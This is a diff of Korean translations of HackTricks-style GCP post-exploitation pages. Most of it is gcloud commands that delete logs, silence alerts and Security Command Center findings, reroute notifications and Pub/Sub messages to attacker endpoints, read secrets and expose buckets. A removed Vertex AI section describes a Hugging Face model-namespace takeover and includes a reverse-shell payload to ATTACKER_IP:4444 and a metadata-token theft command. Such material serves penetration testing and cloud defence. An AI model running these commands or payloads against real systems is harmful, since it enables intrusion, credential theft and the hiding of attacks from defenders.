<summary>로그 버킷 삭제</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 링크 삭제</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 뷰 삭제</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로깅 뷰를 업데이트하여 데이터를 숨기기</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 기반 메트릭 업데이트</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 기반 메트릭 삭제</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 싱크 삭제</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로그 sink 업데이트/중단</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - 모니터링 포스트 익스플로이테이션
|
||||
# GCP - Monitoring Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
로그를 방해하는 다른 방법은 다음을 확인하세요:
|
||||
로그를 교란하는 다른 방법은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -19,12 +19,22 @@ gcp-logging-post-exploitation.md
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
알림 정책 삭제:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>알림 정책 삭제</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
알림 정책 방해:
|
||||
알림 정책 교란:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>알림 정책 교란</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
대시보드를 수정하여 방해합니다:
|
||||
대시보드를 수정해 작동을 방해합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>대시보드 방해</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
대시보드를 삭제합니다:
|
||||
대시보드 삭제:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>대시보드 삭제</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
알림 생성을 방지하기 위해 스누저를 생성합니다:
|
||||
snoozer를 생성하여 정책이 경고를 생성하지 못하게 합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>경고를 중지하기 위한 snoozer 생성</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
공격자가 관심 있는 경우 경고가 생성되지 않도록 스누저의 타이밍을 업데이트합니다:
|
||||
공격자가 관심을 가지는 시점에 경고가 생성되지 않도록 snoozer의 타이밍을 업데이트합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>snoozer 타이밍 업데이트</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
구성된 채널을 삭제합니다:
|
||||
구성된 채널 삭제:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>알림 채널 삭제</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
채널의 레이블을 업데이트하여 방해합니다:
|
||||
채널의 레이블을 수정하여 방해할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>알림 채널 레이블 수정</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요:
|
||||
Pub/Sub에 대한 자세한 내용은 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,40 +12,68 @@ Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
주제에 메시지를 게시합니다. **예상치 못한 데이터**를 전송하고 예상치 못한 기능을 트리거하거나 취약점을 악용하는 데 유용합니다:
|
||||
토픽에 메시지를 게시합니다. **예상치 못한 데이터를 전송**하여 예기치 못한 기능을 유발하거나 취약점을 악용할 때 유용합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>토픽에 메시지 게시</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
메시지를 수신하는 구독을 방지하는 데 유용하며, 아마도 탐지를 피하기 위해서입니다.
|
||||
구독이 메시지를 받지 못하게 하여 탐지를 피하는 데 유용합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>토픽에서 구독 분리</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
구독이 메시지를 받지 못하도록 방지하는 데 유용하며, 아마도 탐지를 피하기 위해서입니다.\
|
||||
구독이 연결된 상태에서도 주제를 삭제하는 것이 가능합니다.
|
||||
구독이 메시지를 받지 못하게 하거나 탐지를 피하기 위해 유용합니다.\
|
||||
구독이 연결된 상태에서도 토픽을 삭제할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>토픽 삭제</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
이 권한을 사용하여 주제를 방해하기 위해 일부 설정을 업데이트합니다. 예: `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
이 권한을 사용하여 토픽의 일부 설정을 변경해 서비스를 방해할 수 있습니다. 예: `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
이전 공격을 수행할 수 있는 권한을 부여합니다.
|
||||
이전 attacks 중 어떤 것이든 수행할 수 있도록 자신에게 권한을 부여합니다.
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
웹 서버에서 모든 메시지를 가져옵니다:
|
||||
웹 서버에서 모든 메시지 가져오기:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>메시지를 받기 위한 push subscription 생성</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
구독을 생성하고 이를 사용하여 **메시지를 가져옵니다**:
|
||||
</details>
|
||||
|
||||
구독을 생성하고 이를 사용하여 **pull messages**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>pull subscription 생성 및 메시지 가져오기</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**구독 삭제**는 로그 처리 시스템이나 유사한 것을 방해하는 데 유용할 수 있습니다:
|
||||
**구독 삭제**는 로그 처리 시스템이나 이와 유사한 것을 방해하는 데 유용할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>구독 삭제</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
이 권한을 사용하여 메시지가 액세스할 수 있는 위치(예: URL, Big Query 테이블, 버킷)에 저장되도록 설정을 업데이트하거나 단순히 방해할 수 있습니다.
|
||||
이 권한을 사용하면 메시지가 당신이 접근할 수 있는 위치(URL, Big Query table, Bucket)에 저장되도록 설정을 업데이트하거나 단순히 이를 방해할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>구독 엔드포인트 업데이트</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
필요한 권한을 부여하여 이전에 언급된 공격을 수행할 수 있습니다.
|
||||
앞서 언급한 공격들을 수행하는 데 필요한 권한을 스스로 부여하세요.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
스키마를 주제에 연결하여 메시지가 이를 충족하지 않도록 하여 주제가 중단되게 합니다.\
|
||||
스키마가 없다면 하나를 생성해야 할 수도 있습니다.
|
||||
스키마를 토픽에 연결하여 메시지가 스키마를 충족하지 못하게 만들면 토픽이 중단됩니다.\
|
||||
스키마가 없으면 하나 생성해야 할 수도 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>스키마 파일을 생성하고 토픽에 연결</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
이것은 스키마를 삭제하는 것처럼 보일 수 있지만, 스키마를 충족하지 않는 메시지를 보낼 수 있습니다. 그러나 스키마가 삭제되므로 실제로는 어떤 메시지도 주제에 들어가지 않습니다. 따라서 이것은 **무의미합니다**:
|
||||
스키마를 삭제하면 스키마 규칙을 만족하지 않는 메시지를 전송할 수 있을 것처럼 보일 수 있습니다. 그러나 스키마가 삭제되면 실제로는 어떤 메시지도 토픽에 들어가지 않습니다. 따라서 이것은 **쓸모없습니다**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>스키마 삭제 (유용하지 않음)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
필요한 권한을 부여하여 이전에 언급된 공격을 수행할 수 있습니다.
|
||||
자신에게 이전에 설명된 attacks를 수행하는 데 필요한 권한을 부여하세요.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
이것은 모든 unACKed 메시지의 스냅샷을 생성하고 이를 구독으로 다시 넣습니다. 공격자에게는 그다지 유용하지 않지만 여기에 있습니다:
|
||||
이것은 모든 unACKed 메시지의 스냅샷을 생성하여 구독으로 되돌려 놓습니다. attacker에게는 별로 유용하지 않지만, 여기 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>스냅샷 생성 및 해당 스냅샷으로 되돌리기</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,9 +12,15 @@ Secret Manager에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
이것은 비밀 관리자에서 비밀을 읽을 수 있는 접근 권한을 제공합니다. 이 정보는 비밀에 저장된 정보에 따라 권한 상승에 도움이 될 수 있습니다.
|
||||
이 권한은 secret manager에서 secrets를 읽을 수 있는 접근을 허용하며, 저장된 정보에 따라 권한 상승에 도움이 될 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>시크릿 버전 접근</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - 보안 사후 활용
|
||||
# GCP - 보안 Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 보안
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-security-enum.md
|
||||
@@ -12,37 +12,67 @@
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
공격자를 탐지할 수 있는 발견의 생성을 방지하기 위해 `muteconfig`를 생성합니다:
|
||||
`muteconfig`를 생성하여 공격자를 탐지할 수 있는 findings 생성을 방지합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfig 생성</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
공격자를 탐지할 수 있는 발견의 생성을 방지하기 위해 `muteconfig`를 업데이트합니다:
|
||||
공격자를 탐지할 수 있는 findings의 생성을 막기 위해 `muteconfig`를 업데이트합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfig 업데이트</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
필터를 기반으로 발견 사항 음소거:
|
||||
필터를 기반으로 findings 음소거:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>필터 기반 일괄 음소거</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
음소거된 발견은 SCC 대시보드 및 보고서에 나타나지 않습니다.
|
||||
</details>
|
||||
|
||||
뮤트된 finding는 SCC 대시보드와 보고서에 표시되지 않습니다.
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
소스, 발견 등을 기반으로 발견을 음소거합니다...
|
||||
source, findings 등을 기준으로 findings를 뮤트합니다...
|
||||
|
||||
<details>
|
||||
|
||||
<summary>finding을 뮤트로 설정</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
오류 정보를 나타내기 위해 발견 사항을 업데이트합니다:
|
||||
잘못된 정보임을 나타내기 위해 파인딩을 업데이트합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>파인딩 상태 업데이트</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,15 +4,19 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Cloud Storage에 대한 자세한 정보는 이 페이지를 확인하세요:
|
||||
Cloud Storage에 대한 자세한 정보는 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 공개 액세스 제공
|
||||
### 공개 액세스 허용
|
||||
|
||||
외부 사용자(GCP에 로그인한 사용자 또는 아닌 사용자)에게 버킷 콘텐츠에 대한 액세스를 제공할 수 있습니다. 그러나 기본적으로 버킷은 버킷을 공개적으로 노출하는 옵션이 비활성화되어 있습니다:
|
||||
외부 사용자(GCP에 로그인했는지 여부와 관계없이)에게 버킷의 콘텐츠에 대한 접근 권한을 부여할 수 있습니다. 그러나 기본적으로 버킷은 공개로 노출하는 옵션이 비활성화되어 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Make bucket/objects public</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
버킷에 **비활성화된 ACL**을 부여하려고 하면 다음과 같은 오류가 발생합니다: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
브라우저를 통해 열린 버킷에 접근하려면 URL `https://<bucket_name>.storage.googleapis.com/` 또는 `https://<bucket_name>.storage.googleapis.com/<object_name>`에 접근하세요.
|
||||
만약 **비활성화된 ACLs가 설정된 bucket에 ACLs를 부여하려고 하면** 다음 오류가 발생합니다: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
브라우저에서 공개된 bucket에 접근하려면 다음 URL에 접속하세요: `https://<bucket_name>.storage.googleapis.com/` 또는 `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 시나리오
|
||||
|
||||
- Vertex AI Model Garden은 많은 Hugging Face (HF) 모델을 직접 배포할 수 있게 합니다.
|
||||
- HF 모델 식별자는 Author/ModelName입니다. HF에서 author/org가 삭제되면 동일한 author 이름은 누구나 다시 등록할 수 있습니다. 공격자는 그런 뒤 동일한 ModelName으로 레거시 경로에 repo를 생성할 수 있습니다.
|
||||
- 이름만으로 가져오는 Pipelines, SDKs, 또는 cloud catalogs(pinning/integrity 없음)는 공격자가 제어하는 repo를 내려받습니다. 모델이 배포되면 해당 repo의 loader 코드가 Vertex AI endpoint 컨테이너 내에서 실행되어 endpoint의 권한으로 RCE를 얻을 수 있습니다.
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
|
||||
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.
|
||||
|
||||
## 재사용 가능한 네임스페이스(HF) 식별
|
||||
|
||||
- 이전 author가 삭제된 경우: author 페이지는 404를 반환합니다; 모델 경로는 takeover가 일어날 때까지 404를 반환할 수 있습니다.
|
||||
- 이전된 모델: 이전 모델 경로는 기존 author가 존재하는 동안 새 소유자에게 307을 보냅니다. 이후 이전 author가 삭제되고 재등록되면 레거시 경로는 공격자의 repo로 해석됩니다.
|
||||
|
||||
curl로 빠르게 확인:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Vertex AI에 대한 종단 간 공격 흐름
|
||||
|
||||
1) Model Garden이 배포 가능(deployable)으로 표시한 재사용 가능한 모델 네임스페이스를 발견한다:
|
||||
- Vertex AI Model Garden에서 여전히 “verified deployable”로 표시되는 HF 모델을 찾는다.
|
||||
- 원저자가 삭제되었는지, 또는 모델이 이전되어 이전 저자가 이후에 제거되었는지 HF에서 확인한다.
|
||||
|
||||
2) 삭제된 저자를 HF에 재등록하고 동일한 ModelName을 재생성한다.
|
||||
|
||||
3) 악성 repo를 게시한다. 모델 로드 시 실행되는 코드를 포함시킨다. HF 모델 로드 중 일반적으로 실행되는 예시:
|
||||
- repo의 __init__.py에서의 부작용
|
||||
- config/auto_map에서 참조되는 사용자 정의 modeling_*.py 또는 processing 코드
|
||||
- Transformers pipelines에서 trust_remote_code=True를 요구하는 코드 경로
|
||||
|
||||
4) 구형 Author/ModelName으로 배포된 Vertex AI가 이제 공격자 repo를 끌어온다. 로더는 Vertex AI endpoint 컨테이너 내부에서 실행된다.
|
||||
|
||||
5) 페이로드는 endpoint 환경에서 (RCE)를 통해 endpoint의 권한으로 접근을 확보한다.
|
||||
|
||||
예시 페이로드 조각 (import 시 실행, 데모용):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
참고
|
||||
- 실제 환경의 로더는 다양합니다. 많은 Vertex AI HF integrations는 모델의 config에서 참조되는 repo 모듈을 clone하고 import하는데(예: auto_map), 이는 코드 실행을 유발할 수 있습니다. 일부 사용 사례는 trust_remote_code=True를 요구합니다.
|
||||
- 해당 endpoint는 일반적으로 제한된 범위의 전용 container에서 실행되지만, 데이터 접근 및 GCP 내 횡적 이동을 위한 유효한 초기 발판이 될 수 있습니다.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Once code is running inside the endpoint container, consider:
|
||||
- credentials/tokens 확보를 위해 environment variables 및 metadata 열거
|
||||
- 연결된 storage 또는 마운트된 model artifacts에 접근
|
||||
- service account identity를 통해 Google APIs(Document AI, Storage, Pub/Sub 등)와 상호작용
|
||||
- 플랫폼이 repo를 재풀(re-pull)할 경우 model artifact에 persistence 확보
|
||||
|
||||
접근 가능하면 instance metadata를 열거하세요 (container dependent):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI 사용자를 위한 방어 지침
|
||||
|
||||
- HF loaders에서 commit별로 모델을 고정(Pin)하여 무단 교체를 방지하세요:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 검증된 HF 모델을 신뢰할 수 있는 내부 아티팩트 스토어/레지스트리로 미러링하고 거기서 배포하세요.
|
||||
- 코드베이스와 설정을 지속적으로 스캔하여 삭제되었거나 이전된 하드코딩된 Author/ModelName을 찾아 새 네임스페이스로 업데이트하거나 커밋으로 고정하세요.
|
||||
- Model Garden에서 배포 전에 모델 출처와 저자 존재 여부를 확인하세요.
|
||||
|
||||
## 탐지 휴리스틱 (HTTP)
|
||||
|
||||
- 삭제된 저자: 저자 페이지 404; 레거시 모델 경로는 계정 탈취 전까지 404.
|
||||
- 이전된 모델: 기존 저자가 존재하는 동안 레거시 경로가 새 저자로 307 리다이렉트됨; 만약 기존 저자가 나중에 삭제되고 재등록되면 레거시 경로가 공격자 콘텐츠를 제공함.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 교차 참조
|
||||
|
||||
- 더 광범위한 방법론 및 공급망 관련 노트를 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
다음 권한은 API 키를 생성하고 훔치는 데 유용합니다. 문서에서 다음과 같이 설명합니다: _API 키는 **주체 없이 애플리케이션을 식별하는 간단한 암호화된 문자열**입니다. 이는 **공개 데이터에 익명으로 접근하는 데 유용**하며, **쿼터** 및 **청구**를 위해 API 요청을 프로젝트와 **연관시키는 데 사용**됩니다._
|
||||
다음 권한들은 API 키를 생성하고 탈취하는 데 유용합니다. 문서에서의 설명을 참고하세요: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
따라서 API 키를 사용하면 해당 회사가 API 사용에 대한 비용을 지불하게 할 수 있지만, 권한 상승은 할 수 없습니다.
|
||||
따라서 API 키로는 해당 회사에 API 사용 비용을 부담시키게 할 수는 있지만, 권한 상승(privesc)은 불가능합니다.
|
||||
|
||||
